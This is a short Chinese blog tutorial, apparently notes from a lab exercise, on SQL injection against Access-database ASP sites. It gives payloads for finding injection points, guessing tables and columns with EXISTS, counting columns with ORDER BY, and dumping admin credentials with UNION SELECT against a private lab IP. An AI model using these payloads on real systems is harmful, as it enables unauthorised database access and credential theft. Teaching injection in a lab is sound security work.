Access数据库之注入攻击

1.通过报错方式确定是什么数据库

        通过'和"and 1=1"和"and 1=2"找注入点;

        通过返回的报错方式来判断是什么数据库

 

2.猜解数据库表名和字段
 

#注:(要在注入点猜)

1)首先来猜解数据库表名

and exists(select * from users)	##返回结果没用报错的话说明有users这个表名	
'''
    EXISTS表示存在量词:带有EXISTS的子查询不返回任何记录的数据,只返回逻辑值“True”或“False”
    Exists:若子查询的结果集非空时,返回“True”;若子查询的结果集为空时,返回“False” 
    NOT EXISTS :若子查询结果为空,返回“TRUE”值;若子查询的结果集非空时,返回 “FALSE
'''

2)然后再猜字段名
  

 and exists(select password from administrator)    ##返回结果没有报错的话,说明有passwd这个字段
                                                                                       ##再次猜user_name,没有报错,说明存在这个字段

3. order by 与union select
 

    #注:(前提条件需要有字段名和表名)
'''
首先,利用order by猜解字段数目,查询语句如下。
order by 1
order by 2
...
order by n-1
order by n
如果n-1时返回正常,n时返回错误,那么说明字段数目为n。
'''

 

4.通过union查询可写字段
 

    union select 1,2,3,4,5,6,7 from administrator
        #结果反馈:2/3/5/7可写

5.将收集到的字段带入
 

http://192.168.65.133:82/news_view.asp?id=14%20union%20select%201,user_name,password,4,5,6,7%20from%20administratorrator
#账号:
    admin
#密码:
    21232f297a57a5a743894a0e4a801fc3
#md5解密:
    admin


版权声明:本文为qq_57868287原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。